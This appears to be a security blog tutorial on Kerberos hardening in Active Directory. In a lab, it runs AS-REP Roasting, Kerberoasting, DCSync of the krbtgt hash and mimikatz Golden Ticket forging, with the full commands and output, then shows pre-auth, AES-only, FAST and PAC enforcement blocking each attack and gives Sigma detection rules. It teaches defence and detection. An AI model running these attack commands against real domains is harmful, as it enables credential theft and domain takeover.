Kerberos Hardening Internals: FAST/Armoring, Pre-Auth, PAC Validation, and Encryption-Type Policy

By Debraj Basak·Jun 24, 2026·20 min readActive Directory Exploitation

Objective: Dissect the four load-bearing hardening dimensions of the Windows Kerberos stack – Pre-Authentication, encryption-type policy, FAST/Armoring, and PAC structure and validation – at the protocol, registry, and AD-attribute level. You will build an intentionally weak lab domain, enumerate the misconfigurations, abuse each one (AS-REP Roasting, Kerberoasting, Golden Ticket), then watch the same attacks die once the controls are turned on, and detect every step on the DC.


Most “Kerberos hardening” guides hand you a checklist and never explain why any item matters. That fails the reader the moment a control breaks a legacy client or an attacker slips past a half-applied setting. Kerberos is a small number of message exchanges wrapped around a small number of keys. Once you understand which key encrypts which blob, every roasting attack, every Golden Ticket, and every downgrade becomes obvious, and so does its fix. We build the weak domain first, break it methodically, then close each hole and prove the attack no longer works.


1. Kerberos Authentication Recap: AS/TGS Exchange and Key Material

Kerberos in Active Directory is a ticket brokerage. The Key Distribution Center (KDC), which runs on every domain controller, issues two kinds of tickets and signs authorization data inside them. Five messages carry the whole protocol.

MessageDirectionPurpose
AS-REQClient to KDC ASRequest a TGT; carries the PA-DATA pre-auth block
AS-REPKDC AS to ClientReturns the TGT; the client’s encrypted portion uses the client long-term key
TGS-REQClient to KDC TGSRequest a service ticket; includes TGT plus Authenticator
TGS-REPKDC TGS to ClientReturns the service ticket
AP-REQClient to ServicePresent the service ticket for mutual authentication

The keys are the entire story. Every account, user or computer, has a long-term key derived from its password (the NT hash for RC4, or a PBKDF2-style salted key for AES). The krbtgt account has its own long-term key, and that key is the master secret of the domain.

When you authenticate, the AS exchange produces a TGT that is encrypted with the krbtgt key. You cannot read your own TGT; only the KDC can. Inside the AS-REP, a second copy of the session key is encrypted with your long-term key so you can decrypt it. That single fact is the seed of AS-REP Roasting.

When you later request access to a service, the TGS exchange produces a service ticket encrypted with the target service account’s long-term key. The service decrypts it with its own key. That single fact is the seed of Kerberoasting.

Stuffed inside both tickets is the Privilege Attribute Certificate (PAC): your SID, your group memberships, your user RID, and two cryptographic checksums. The PAC is how a member server turns a ticket into a Windows access token without ever phoning home to the DC. Forge a PAC and you forge identity. That is the seed of Golden and Diamond Tickets.

Hold those three sentences. Everything below is an attack on one of those three keys or on the PAC they protect.


Flowchart showing the five Kerberos messages across Client, KDC AS, KDC TGS, and Service, annotating which key encrypts each blob at each step
Every Kerberos roasting attack targets exactly one of the keys sealing these five messages – the client long-term key, the service account key, or the krbtgt master secret.

2. Building the Vulnerable Lab

The range is three machines on one /24.

HostRoleDetail
DC01Domain controller / KDCWindows Server 2022 Eval, lab.genxcyber.local, 10.0.0.1
WS01Member workstationWindows 11, domain-joined
kaliAttackerKali Linux, 10.0.0.50, same subnet

Provision the deliberately weak objects on DC01 with PowerShell. Read each comment, because each one creates a specific abuse primitive.

# Service account with an SPN, RC4 left as default, weak password -> Kerberoast
New-ADUser -Name "svc_sql" -SamAccountName "svc_sql" `
  -AccountPassword (ConvertTo-SecureString "Summer2023" -AsPlainText -Force) `
  -Enabled $true -PasswordNeverExpires $true
Set-ADUser svc_sql -ServicePrincipalNames @{Add="MSSQLSvc/db01.lab.genxcyber.local:1433"}
# msDS-SupportedEncryptionTypes deliberately left unset (0) -> KDC defaults to RC4

# User with pre-auth disabled -> AS-REP Roast
New-ADUser -Name "alice" -SamAccountName "alice" `
  -AccountPassword (ConvertTo-SecureString "Springtime1" -AsPlainText -Force) -Enabled $true
Set-ADAccountControl alice -DoesNotRequirePreAuth $true
# (no stdout on success; verify below)

Confirm the domain SID and the krbtgt object now, because you need both later.

Get-ADDomain | Select-Object DomainSID, NetBIOSName, DNSRoot
DomainSID                                       NetBIOSName DNSRoot
---------                                       ----------- -------
S-1-5-21-1004336348-1177238915-682003330        LAB         lab.genxcyber.local

The domain functional level is left at default and FAST/Armoring is Not Configured at the GPO level, PACRequestorEnforcement = 0, and the krbtgt password has never been rotated. That is a realistic “nobody touched Kerberos since the forest was built” posture. Now we attack it.


3. Pre-Authentication Deep Dive and AS-REP Roasting

3.1 How pre-auth actually works

When pre-authentication is enabled, which is the default, the client proves it knows the password before the KDC issues anything. The AS-REQ carries a PA-ENC-TIMESTAMP pre-auth block: the current time, encrypted with the client’s long-term key. The KDC decrypts it with the key it has on file. If the plaintext is a sane timestamp, you knew the password, and the KDC returns the AS-REP.

The encrypted part of that AS-REP contains the TGT session key, sealed with your long-term key. Here is the problem. When DONT_REQUIRE_PREAUTH is set, the KDC skips the timestamp check and hands the AS-REP to anyone who asks. The encrypted blob is still keyed with the user’s password-derived key. So an unauthenticated attacker receives ciphertext whose plaintext structure is known, and cracks the password offline. No lockout, no logon, no noise on the wire beyond a single ticket request.

The userAccountControl bit responsible is DONT_REQUIRE_PREAUTH = 0x400000 (decimal 4194304). MITRE catalogs the attack as T1558.004.

3.2 Enumeration: find the pre-auth holes first

Never roast blind. Find accounts with the flag set. From a domain-authenticated context, LDAP is the cleanest source. The bit-and filter 1.2.840.113556.1.4.803:=4194304 matches the flag exactly.

Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties userAccountControl |
  Select-Object SamAccountName, userAccountControl
SamAccountName userAccountControl
-------------- ------------------
alice                     4260352

From Kali with no credentials at all, Impacket will both enumerate and harvest in one shot if you feed it a username list.

impacket-GetNPUsers lab.genxcyber.local/ -usersfile users.txt -no-pass -dc-ip 10.0.0.1
Impacket v0.11.0 - Copyright 2023 Fortra

[-] User bob doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User carol doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$alice@LAB.GENXCYBER.LOCAL:f4a01c...c9b2$8e1d6f3a9c...e07

The 23 in $krb5asrep$23$ is etype 0x17, RC4-HMAC. That single account with the flag is your foothold. Everyone else is correctly rejected.

3.3 Trigger and crack

The tool sent an AS-REQ with no PA-ENC-TIMESTAMP. The KDC, seeing the flag, returned the AS-REP anyway. Capture it to a file and crack offline with hashcat mode 18200.

impacket-GetNPUsers lab.genxcyber.local/ -usersfile users.txt -no-pass \
  -dc-ip 10.0.0.1 -outputfile asrep_hashes.txt
hashcat -m 18200 asrep_hashes.txt rockyou.txt
$krb5asrep$23$alice@LAB.GENXCYBER.LOCAL:f4a01c...:Springtime1

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Recovered........: 1/1 (100.00%) Digests

From a domain-joined WS01, Rubeus does the same thing using the current user’s context to query LDAP.

.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
[*] Action: AS-REP roasting
[*] Searching for accounts that do not require preauthentication
[*] SamAccountName         : alice
[*] DistinguishedName      : CN=alice,CN=Users,DC=lab,DC=genxcyber,DC=local
[*] Using domain controller: DC01.lab.genxcyber.local
[*] Hash written to asrep.txt

3.4 Remediation and proof

Clear the flag. There is rarely a legitimate reason to keep it.

Set-ADAccountControl alice -DoesNotRequirePreAuth $false
Get-ADUser -Filter 'useraccountcontrol -band 4194304'
# (empty result: no accounts vulnerable)

Re-run GetNPUsers and the KDC now demands the encrypted timestamp, returning KDC_ERR_PREAUTH_REQUIRED. The hole is closed at the source.


4. Encryption-Type Policy and Kerberoasting

4.1 Why RC4 service tickets are a gift to attackers

Any authenticated user can request a service ticket for any SPN. That is by design; the TGS does not check whether you can actually reach the service. The service ticket is encrypted with the service account’s long-term key. If that account is a user object (a service account) with a weak password, you crack the ticket offline and recover the cleartext password.

The encryption type matters enormously. RC4-HMAC (etype 0x17) derives the ticket key directly from the NT hash with no salt and no iteration count, so hashcat chews through it at billions of guesses per second. AES256 (etype 0x12) uses 4096 PBKDF2 iterations with a salt, slowing cracking by orders of magnitude. The msDS-SupportedEncryptionTypes attribute on the target account decides which etype the KDC will issue. When it is blank or 0, the KDC historically defaults to RC4. MITRE tracks this as T1558.003.

The bitmask:

BitEncryption Type
0x01DES-CBC-CRC
0x02DES-CBC-MD5
0x04RC4-HMAC
0x08AES128-CTS-HMAC-SHA1-96
0x10AES256-CTS-HMAC-SHA1-96

4.2 Enumeration: find roastable SPNs and their etypes

First, who has SPNs at all? Machine accounts have SPNs too but their passwords are 120-character random strings, so target user objects.

Get-ADUser -Filter 'ServicePrincipalName -like "*"' `
  -Properties ServicePrincipalName, msDS-SupportedEncryptionTypes |
  Select-Object SamAccountName, ServicePrincipalName, msDS-SupportedEncryptionTypes
SamAccountName ServicePrincipalName                              msDS-SupportedEncryptionTypes
-------------- --------------------                              -----------------------------
svc_sql        {MSSQLSvc/db01.lab.genxcyber.local:1433}                                       0

msDS-SupportedEncryptionTypes of 0 is the tell. The KDC will issue an RC4 ticket for svc_sql. From Kali, enumerate the same thing over LDAP with any valid low-priv credential.

impacket-GetUserSPNs lab.genxcyber.local/bob:Autumn2023 -dc-ip 10.0.0.1
ServicePrincipalName                      Name     MemberOf  PasswordLastSet
----------------------------------------  -------  --------  -------------------
MSSQLSvc/db01.lab.genxcyber.local:1433    svc_sql            2023-09-14 11:02:17

4.3 Trigger and crack

Request the ticket and dump the crackable blob in one command.

impacket-GetUserSPNs lab.genxcyber.local/bob:Autumn2023 -dc-ip 10.0.0.1 \
  -request -outputfile kerberoast.txt
[*] Requesting TGS for svc_sql
$krb5tgs$23$*svc_sql$LAB.GENXCYBER.LOCAL$MSSQLSvc/db01...*$a91f...$3c2d...e8

Again 23 is RC4. Crack with hashcat mode 13100.

hashcat -m 13100 kerberoast.txt rockyou.txt
$krb5tgs$23$*svc_sql$LAB.GENXCYBER.LOCAL$MSSQLSvc/db01...:Summer2023

Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Recovered........: 1/1 (100.00%) Digests

Rubeus does an OPSEC-aware version. The /rc4opsec flag requests only RC4-eligible accounts, so you do not waste tickets on AES-only targets that crack slowly and stand out.

.\Rubeus.exe kerberoast /rc4opsec /outfile:tgs_hashes.txt
[*] Target Domain          : lab.genxcyber.local
[*] Searching for accounts that support RC4_HMAC, no AES, no FAST
[*] SamAccountName         : svc_sql
[*] ServicePrincipalName   : MSSQLSvc/db01.lab.genxcyber.local:1433
[*] Hash written to tgs_hashes.txt

4.4 Remediation: kill RC4 on service accounts

Set AES-only on the account. That makes msDS-SupportedEncryptionTypes = 0x18 (AES128 plus AES256).

Set-ADUser svc_sql -KerberosEncryptionType AES128,AES256
Get-ADUser svc_sql -Properties msDS-SupportedEncryptionTypes |
  Select-Object SamAccountName, msDS-SupportedEncryptionTypes
SamAccountName msDS-SupportedEncryptionTypes
-------------- -----------------------------
svc_sql                                    24

24 is 0x18. Now /rc4opsec skips the account entirely, and a forced RC4 request returns an AES ticket the attacker cannot crack at scale. Pair this with a genuinely long service-account password (25+ characters or a gMSA) and Kerberoasting is dead even against AES.

4.5 The RC4 sunset at the domain level

Two CVEs drive the platform-wide trend. CVE-2022-37966 (KB5021131) changed Kerberos to default to AES-SHA1 instead of RC4 for accounts where no etype was explicitly set, starting November 2022, though RC4 stays for accounts that do not support AES. CVE-2026-20833 continues the squeeze: updates from January 2026 address weak-etype service tickets, and updates from April 2026 flip the KDC default to AES unless an admin enabled Enforcement earlier, controlled by RC4DefaultDisablementPhase under HKLM\System\CurrentControlSet\Services\Kdc.

At the domain level the relevant DC registry value is DefaultDomainSupportedEncTypes under HKLM\System\CurrentControlSet\services\KDC. The conservative default 0x27 keeps RC4 session keys; Microsoft recommends 0x3C (AES tickets plus AES session keys) for hardening, and 0x38 for AES-only environments. Windows Server 2025 already displays only AES-SHA1 and stronger by default.


5. FAST / Kerberos Armoring Internals

5.1 The armor key pipeline

Roasting works because the early Kerberos messages travel in the clear, keyed only with a crackable user secret. Flexible Authentication Secure Tunneling (FAST), defined in RFC 6113 and implemented by Microsoft as Kerberos Armoring, wraps AS-REQ, AS-REP, TGS-REQ, and TGS-REP inside a protected channel between the client and the KDC. It involves the LSA, the Netlogon service, and the KDC together.

The derivation is layered, and that layering is the point:

  1. The domain-joined host’s computer account runs a normal AS exchange and obtains a machine TGT. The machine password is a strong random secret, not crackable.
  2. Using that machine TGT, the host performs a client-server key exchange. The KDC mints a fresh armor key from session information, client and server identity, and randomness, then returns it encrypted under the existing session key.
  3. The user’s actual AS-REQ now travels inside the armor key’s protected channel. The PA-ENC-TIMESTAMP and the AS-REP reply key are no longer exposed to a passive attacker.

Because the outer channel is bootstrapped from the unbreakable machine key, an attacker who only knows usernames can no longer pull crackable material. FAST’s primary goal is exactly to prevent offline dictionary attacks against Kerberos exchange. It also fully encrypts the messages, signs Kerberos errors so they cannot be spoofed, and defends against replay and man-in-the-middle.

5.2 Wire structure

FAST shows up as PA-FX-FAST-REQUEST and PA-FX-FAST-REPLY PA-DATA elements. Inside the request is an armored KrbFastReq carrying the original AS-REQ body plus the armor field that references the machine ticket. Supported by Windows Server 2012 and Windows 8 and later, and gated behind the Windows Server 2012 domain functional level.

The honest limitation: FAST protects the exchange, not a disabled pre-auth flag and not a weak service-account password. It shuts down unauthenticated harvesting and downgrade games, and once you require armoring, an unarmored AS-REP Roast attempt from Kali simply gets refused. It is the single highest-leverage Kerberos control most domains never turn on.


Flow diagram showing how the machine account TGT seeds the FAST armor key which then wraps the user AS-REQ so the pre-auth timestamp is never exposed on the wire
FAST bootstraps an uncrackable machine credential as the outer channel, making offline dictionary attacks against Kerberos exchanges impossible for armored requests.

6. Configuring and Enforcing FAST in Active Directory

6.1 KDC side

Path: Computer Configuration > Policies > Administrative Templates > System > Key Distribution Center. Policy: “KDC support for claims, compound authentication and Kerberos armoring”.

KDC OptionEffect
SupportedArmoring offered, not required. Safe first step.
Always provide claimsFull RFC FAST behavior.
Fail unarmored authentication requestsRejects unarmored Kerberos. Non-armoring clients will fail to authenticate.

6.2 Client side

Path: Computer Configuration > Policies > Administrative Templates > System > Kerberos. Policy: “Kerberos client support for claims, compound authentication and Kerberos armoring”, set to Enabled so domain members request armoring.

Stage it: set both to Supported, confirm no legacy clients break, then move the KDC to Fail unarmored authentication requests. Jumping straight to enforcement before every client is on Windows 8 / Server 2012 or later will lock those clients out of the domain.

6.3 Verify on the wire and prove the kill

In a Wireshark capture filtered on kerberos, an armored exchange shows the PA-FX-FAST-REQUEST padata-type and no readable PA-ENC-TIMESTAMP. With enforcement on, re-run the unauthenticated roast from Kali.

impacket-GetNPUsers lab.genxcyber.local/ -usersfile users.txt -no-pass -dc-ip 10.0.0.1
[-] Kerberos SessionError: KDC_ERR_POLICY(KDC policy rejects request)

KDC_ERR_POLICY (error code 12) is the armoring control refusing an unarmored request. The attacker’s no-credential harvesting path is gone.


7. PAC Internals: PACTYPE, PAC_INFO_BUFFER, and KERB_VALIDATION_INFO

7.1 The container

The PAC rides in the authorization-data field of the ticket and is defined in [MS-PAC]. The top-level PACTYPE structure is a count and an array of PAC_INFO_BUFFER entries, each pointing at a serialized buffer by offset.

typedef struct _PACTYPE {
    ULONG cBuffers;                 // number of PAC_INFO_BUFFER entries
    ULONG Version;                  // 0
    PAC_INFO_BUFFER Buffers[1];     // array; each has ulType + cbBufferSize + Offset
} PACTYPE;

typedef struct _PAC_INFO_BUFFER {
    ULONG ulType;                   // buffer type (table below)
    ULONG cbBufferSize;             // size of the serialized buffer
    ULONG64 Offset;                 // offset from start of PACTYPE
} PAC_INFO_BUFFER;

The buffer types you care about for hardening:

ulTypeBufferContent
0x00000001PAC_LOGON_INFOKERB_VALIDATION_INFO, NDR-encoded
0x00000006PAC_SERVER_CHECKSUMHMAC over the full PAC using the service key
0x00000007PAC_PRIVSVR_CHECKSUMHMAC over the full PAC using the KDC krbtgt key
0x0000000APAC_CLIENT_INFOClientId (FILETIME) plus Name
0x0000000CPAC_ATTRIBUTES_INFOAdded Nov 2021, KB5008380
0x0000000DPAC_REQUESTORAdded Nov 2021, SID of the requesting principal

7.2 The authorization payload

PAC_LOGON_INFO carries a KERB_VALIDATION_INFO, a structure that is a subset of NETLOGON_VALIDATION_SAM_INFO4 from [MS-NRPC]. This is the identity the server will trust.

typedef struct _KERB_VALIDATION_INFO {
    FILETIME            LogoffTime;
    FILETIME            PasswordLastSet;
    FILETIME            PasswordMustChange;
    RPC_UNICODE_STRING  LogonServer;        // KDC NetBIOS name
    RPC_UNICODE_STRING  LogonDomainName;
    PRPC_SID            LogonDomainId;       // domain SID
    ULONG               UserId;              // user RID
    ULONG               PrimaryGroupId;      // primary group RID
    ULONG               GroupCount;
    PGROUP_MEMBERSHIP   GroupIds;            // array of GROUP_MEMBERSHIP
    ULONG               UserFlags;           // 0x0020 LOGON_EXTRA_SIDS, 0x0200 RESOURCE_GROUPS
    ULONG               SidCount;
    PKERB_SID_AND_ATTRIBUTES ExtraSids;
    PRPC_SID            ResourceGroupDomainSid;
    ULONG               ResourceGroupCount;
    PGROUP_MEMBERSHIP   ResourceGroupIds;
} KERB_VALIDATION_INFO;

The combination of LogonDomainId plus UserId is your SID; GroupIds and ExtraSids are your group memberships. The Windows LSA reads these fields straight into the access token. Nothing here is re-checked against the directory at logon time on a member server, which is precisely why the two checksums exist.

7.3 Why the dual signature

The KDC computes PAC_SERVER_CHECKSUM with the service account key and PAC_PRIVSVR_CHECKSUM with the krbtgt key. The service can verify the server checksum because it holds its own key. But it cannot recompute the privsvr checksum, because only the KDC holds krbtgt. That second signature is what lets a server ask the DC “did you really sign this PAC?” The PAC generation is triggered on an AS request containing KERB-PA-PAC-REQUEST (padata-type 128, include-pac BOOLEAN), on cross-realm referral, or when the client has domain local groups.


8. PAC Validation and Golden Ticket Forging

8.1 The validation path

Per [MS-APDS], when a client presents an AP-REQ, the server passes the PAC to the OS to build a token. For verification it forwards the PAC signature to the DC in a KERB_VERIFY_PAC message, using the Netlogon generic pass-through ([MS-NRPC] 3.2.4.1) carrying NETLOGON_TICKET_LOGON_INFO. The DC verifies the signature and returns the result.

Crucially, member services do not always perform this validation. The ValidateKdcPacSignature value under HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters controls it: 0 means a service process does not validate the PAC, 1 means it does. When validation is off and the PAC signatures are not checked back to krbtgt, a forged PAC sails through.

8.2 Enumeration: confirm Golden Ticket viability

A Golden Ticket forges a TGT signed with the krbtgt key. Before forging, you need the krbtgt hash and you want to confirm the enforcement posture. Check PACRequestorEnforcement on the DC.

Get-ItemProperty 'HKLM:\System\CurrentControlSet\Services\Kdc' -Name PACRequestorEnforcement -ErrorAction SilentlyContinue
PACRequestorEnforcement : 0

0 means pre-KB5008380 behavior: the new PAC_REQUESTOR SID check is off, so forged tickets for arbitrary or non-existent users are accepted. Now extract krbtgt via DCSync (you need replication rights, i.e. Domain Admin or delegated DS-Replication-Get-Changes).

impacket-secretsdump lab.genxcyber.local/admin:P@ssw0rd!@10.0.0.1 -just-dc-user krbtgt
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b18b4b9b8f3c8e2a6d2f1a9c7e3d5f00:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:9f86d081884c7d659a2feaa0c55ad015...

That NT hash b18b4b9b...5f00 is the master key. Note the matching SID from Section 2: S-1-5-21-1004336348-1177238915-682003330.

8.3 Forge the Golden Ticket

mimikatz # kerberos::golden /user:FakeAdmin /domain:lab.genxcyber.local /sid:S-1-5-21-1004336348-1177238915-682003330 /krbtgt:b18b4b9b8f3c8e2a6d2f1a9c7e3d5f00 /ptt
User      : FakeAdmin
Domain    : lab.genxcyber.local (LAB)
SID       : S-1-5-21-1004336348-1177238915-682003330
User Id   : 500
Groups Id : *513 512 520 518 519
ServiceKey: b18b4b9b8f3c8e2a6d2f1a9c7e3d5f00 - rc4_hmac_nt
Lifetime  : 30/01/2026 14:02:11 ; 28/01/2036 14:02:11
-> Ticket : ** Pass The Ticket **
[+] Ticket successfully submitted for current session

The forged TGT, signed with the real krbtgt key, encodes FakeAdmin as RID 500 in Domain Admins, Enterprise Admins, and the rest. Because PACRequestorEnforcement = 0, nothing checks whether FakeAdmin exists. You now hold a ten-year domain-admin TGT.

8.4 Prove the enforcement breakage

The November 2021 hardening (CVE-2021-42287 / KB5008380) added PAC_ATTRIBUTES_INFO and PAC_REQUESTOR. When PACRequestorEnforcement = 2, both fields are required, and the KDC validates that the ticket’s cname resolves to the same SID carried in PAC_REQUESTOR whenever the client and KDC share a domain. Mismatch revokes the TGT automatically. Turn it on:

Set-ItemProperty 'HKLM:\System\CurrentControlSet\Services\Kdc' -Name PACRequestorEnforcement -Value 2 -Type DWord
Restart-Service kdc -Force
# (no output; KDC restarts)

Re-inject the Golden Ticket for the non-existent FakeAdmin and use it:

mimikatz # kerberos::ptt golden.kirbi
# then:
C:\> dir \\DC01\C$
The system cannot find the path specified.
KRB_AP_ERR_MODIFIED / KRB_ERR_GENERIC - the PAC_REQUESTOR SID does not resolve

Enforcement mode means Golden Tickets for non-existent users fail when the attacker is in the same domain as the DC, because the PAC_REQUESTOR SID has no matching account object. Two important caveats: forging a ticket for a real account’s SID still works (the SID resolves), and cross-domain or cross-forest Trust Tickets still pass because validation only completes when the account lives in the same domain as the DC. Enforcement is a strong control, not a cure. The cure for an exposed krbtgt is rotating its password twice in succession.


Graph diagram showing how a forged Golden Ticket flows to the KDC PAC_REQUESTOR check and branches into either acceptance when enforcement is off or revocation when enforcement mode 2 is active
PACRequestorEnforcement=2 forces the KDC to resolve the PAC_REQUESTOR SID against a real AD object, collapsing Golden Tickets for non-existent accounts in the same domain.

9. Hardening the Full Stack: A Prescriptive Checklist

ControlSettingWhere
Pre-authenticationRemove DONT_REQUIRE_PREAUTH everywhereuserAccountControl per account
FAST / ArmoringSupported, then Fail unarmoredKDC + client GPO, WS2012 DFL
PAC requestorPACRequestorEnforcement = 2HKLM\...\Services\Kdc
Service etypesmsDS-SupportedEncryptionTypes = 0x18per service account
Domain default etypesDefaultDomainSupportedEncTypes = 0x3C (or 0x38 AES-only)HKLM\...\services\KDC
krbtgtRotate twice after any exposurereset script

Audit pre-auth and SPN etypes domain-wide before and after:

Get-ADUser -Filter 'useraccountcontrol -band 4194304' | Measure-Object | Select Count
Get-ADUser -Filter 'ServicePrincipalName -like "*"' -Properties msDS-SupportedEncryptionTypes |
  Where-Object { $_.'msDS-SupportedEncryptionTypes' -in @($null,0,4,7) } |
  Select SamAccountName, msDS-SupportedEncryptionTypes
Count
-----
    0

# (no rows: every SPN account is AES-only)

Bake an msDS-SupportedEncryptionTypes value into every new service-account provisioning workflow so RC4 cannot creep back in as accounts are created.


10. Defensive Strategies & Detection

Enable the audit subcategories first. Without these, the DC writes nothing useful.

SubcategorySettingCatches
Audit Kerberos Authentication ServiceSuccess + Failure4768, 4771
Audit Kerberos Service Ticket OperationsSuccess + Failure4769
Audit User Account ManagementSuccess4738

The DC Security log events that matter:

Event IDTriggerKey Fields
4768TGT requestedPre-Authentication Type (0 = disabled, AS-REP Roast), Ticket Encryption Type (0x17 = RC4)
4769Service ticket requestedTicket Encryption Type (0x17 = Kerberoast signal), Service Name
4771Pre-auth failedFailure code 0x18 = bad password
4738Account changedUserAccountControl flag delta, watch for DONT_REQUIRE_PREAUTH added
4672Special privileges at logonAnomalous privilege from a forged PAC

The highest-confidence AS-REP Roasting signal is Event ID 4768 with Pre-Authentication Type = 0, which only happens legitimately when an account genuinely has pre-auth disabled (and after hardening, that count should be zero). Add Ticket Encryption Type = 0x17 and the confidence is near total, because attackers deliberately ask for RC4. For Kerberoasting, Event ID 4769 with Ticket Encryption Type = 0x17 to a non-machine Service Name is the core indicator.

KDC-side ETW carries more. Event ID 27 from Microsoft-Windows-Kerberos-Key-Distribution-Center flags disjoint encryption types between clients and services. The PAC-enforcement events are 35 (audit mode detected a ticket missing PAC_REQUESTOR) and 36 (TGT revoked on PAC_REQUESTOR SID mismatch), both invaluable while staging KB5008380 enforcement.

ETW ProviderUse
Microsoft-Windows-Kerberos-Key-Distribution-CenterKDC events 14, 16, 27, 35, 36
Microsoft-Windows-Security-Auditing4768, 4769, 4771, 4738
Microsoft-Windows-Kerberos-ClientClient failures, etype negotiation

Sigma rules

title: AS-REP Roasting - Pre-Auth Disabled
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4768
    PreAuthType: '0'
    TicketEncryptionType: '0x17'
  condition: selection
falsepositives:
  - Accounts legitimately configured with pre-auth disabled (should be zero)
level: high
tags:
  - attack.credential_access
  - attack.t1558.004
title: Kerberoasting - RC4 TGS Request
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4769
    TicketEncryptionType: '0x17'
  filter:
    ServiceName|endswith: '$'   # exclude machine accounts
  condition: selection and not filter
level: high
tags:
  - attack.credential_access
  - attack.t1558.003
title: Kerberos Pre-Auth Disabled on User Account
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4738
    UserAccountControl|contains: '%%2096'   # DONT_REQUIRE_PREAUTH set
  condition: selection
level: high
tags:
  - attack.t1558.004

Tune thresholds: a single account suddenly requesting service tickets for dozens of distinct SPNs in seconds (4769 burst) is Kerberoasting regardless of etype. After enforcing AES, an RC4 4769 becomes rare enough to alert on directly.


Conceptual illustration of layered Kerberos detection tripwires catching attackers at the AS-REP, TGS-REP, and PAC validation stages
Effective Kerberos detection stacks Event IDs 4768, 4769, and 4738 with KDC ETW events 27, 35, and 36 so every roasting and ticket-forging attempt trips a distinct wire.

11. Tools for Kerberos Hardening Analysis

ToolDescriptionLink
RubeusAS-REP roast, Kerberoast, ticket forging and PtT from Windowsgithub.com
ImpacketGetNPUsers, GetUserSPNs, secretsdump from Linuxgithub.com
MimikatzDCSync, Golden/Diamond Ticket forging, PAC manipulationgithub.com
hashcatOffline cracking, modes 18200 (AS-REP) and 13100 (TGS)hashcat.net
WiresharkConfirm FAST armoring and etype on the wirewireshark.org
BloodHoundMap roastable accounts and DCSync pathsgithub.com
PowerShell AD moduleEnumerate userAccountControl, SPNs, msDS-SupportedEncryptionTypesmicrosoft.com

12. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
AS-REP RoastingT1558.0044768 PreAuthType=0, etype 0x17
KerberoastingT1558.0034769 etype 0x17 to user SPN; 4769 burst
Golden TicketT1558.0014672 anomalous privilege; PAC events 35/36
OS Credential Dumping: LSASST1003.001Cross-process LSASS access (Sysmon EID 10)
Steal or Forge Kerberos TicketsT1558Long ticket lifetimes, mismatched RID/SID

Summary

  • Kerberos hardening is key management: the TGT is sealed with the krbtgt key, the service ticket with the service account key, and the PAC carries two signatures, so every attack here is an attack on one of those keys or on the PAC they protect.
  • Pre-authentication is non-negotiable: DONT_REQUIRE_PREAUTH hands AS-REP material to anyone; clear the flag and AS-REP Roasting (T1558.004) stops at the source.
  • RC4 is the Kerberoasting accelerant: set msDS-SupportedEncryptionTypes = 0x18 per service account and DefaultDomainSupportedEncTypes = 0x3C domain-wide, riding the CVE-2022-37966 and CVE-2026-20833 RC4 sunset toward AES-only.
  • FAST/Armoring closes the unauthenticated exchange: stage Supported then Fail unarmored, and watch off-box roasting return KDC_ERR_POLICY.
  • PAC enforcement blunts Golden Tickets: PACRequestorEnforcement = 2 revokes forged TGTs for non-existent same-domain accounts via the PAC_REQUESTOR SID check, but rotating krbtgt twice is still the only fix for an exposed master key.
  • Detect with 4768 (PreAuthType=0), 4769 (etype 0x17), 4738 (flag delta), and KDC events 27/35/36, wired into the Sigma rules above.

References

Get new drops in your inbox

Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.